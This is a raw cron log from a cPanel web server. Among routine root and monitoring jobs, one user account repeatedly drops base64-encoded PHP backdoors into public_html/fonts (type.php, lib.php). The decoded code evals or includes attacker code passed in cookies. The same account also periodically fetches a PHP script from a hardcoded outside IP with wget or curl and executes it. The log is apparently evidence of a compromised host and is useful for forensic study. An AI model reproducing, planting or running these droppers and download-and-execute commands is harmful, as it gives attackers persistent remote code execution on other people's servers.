Aug 31 10:27:01 ip-184-168-122-23 CROND[12720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:27:01 ip-184-168-122-23 CROND[12721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:27:01 ip-184-168-122-23 CROND[12723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:27:01 ip-184-168-122-23 CROND[12722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:28:01 ip-184-168-122-23 CROND[12871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:28:01 ip-184-168-122-23 CROND[12872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:28:01 ip-184-168-122-23 CROND[12875]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:28:01 ip-184-168-122-23 CROND[12876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:28:01 ip-184-168-122-23 CROND[12877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:29:01 ip-184-168-122-23 CROND[12980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:29:01 ip-184-168-122-23 CROND[12982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:29:01 ip-184-168-122-23 CROND[12985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:29:01 ip-184-168-122-23 CROND[12986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:30:01 ip-184-168-122-23 CROND[13152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:30:01 ip-184-168-122-23 CROND[13153]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:30:01 ip-184-168-122-23 CROND[13162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:30:01 ip-184-168-122-23 CROND[13159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:30:01 ip-184-168-122-23 CROND[13163]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:30:01 ip-184-168-122-23 CROND[13160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:30:01 ip-184-168-122-23 CROND[13164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:30:01 ip-184-168-122-23 CROND[13161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:31:01 ip-184-168-122-23 CROND[13307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:31:01 ip-184-168-122-23 CROND[13308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:31:01 ip-184-168-122-23 CROND[13309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:31:01 ip-184-168-122-23 CROND[13310]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 10:31:01 ip-184-168-122-23 CROND[13311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:32:02 ip-184-168-122-23 CROND[13410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:32:02 ip-184-168-122-23 CROND[13412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:32:02 ip-184-168-122-23 CROND[13413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:32:02 ip-184-168-122-23 CROND[13417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:32:02 ip-184-168-122-23 CROND[13415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:33:01 ip-184-168-122-23 CROND[13549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:33:01 ip-184-168-122-23 CROND[13550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:33:01 ip-184-168-122-23 CROND[13553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:33:01 ip-184-168-122-23 CROND[13555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:34:02 ip-184-168-122-23 CROND[13695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:34:02 ip-184-168-122-23 CROND[13693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:34:02 ip-184-168-122-23 CROND[13696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:34:02 ip-184-168-122-23 CROND[13694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:34:02 ip-184-168-122-23 CROND[13697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:35:01 ip-184-168-122-23 CROND[13898]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 10:35:01 ip-184-168-122-23 CROND[13900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:35:01 ip-184-168-122-23 CROND[13902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:35:01 ip-184-168-122-23 CROND[13904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:35:01 ip-184-168-122-23 CROND[13901]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 10:35:01 ip-184-168-122-23 CROND[13907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:35:01 ip-184-168-122-23 CROND[13908]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:35:01 ip-184-168-122-23 CROND[13909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:36:01 ip-184-168-122-23 CROND[14047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:36:01 ip-184-168-122-23 CROND[14049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:36:01 ip-184-168-122-23 CROND[14050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:36:01 ip-184-168-122-23 CROND[14051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:36:01 ip-184-168-122-23 CROND[14052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:37:01 ip-184-168-122-23 CROND[14163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:37:01 ip-184-168-122-23 CROND[14164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:37:01 ip-184-168-122-23 CROND[14162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:37:01 ip-184-168-122-23 CROND[14167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:38:01 ip-184-168-122-23 CROND[14266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:38:01 ip-184-168-122-23 CROND[14268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:38:01 ip-184-168-122-23 CROND[14269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:38:01 ip-184-168-122-23 CROND[14270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:38:01 ip-184-168-122-23 CROND[14271]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:39:01 ip-184-168-122-23 CROND[14364]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
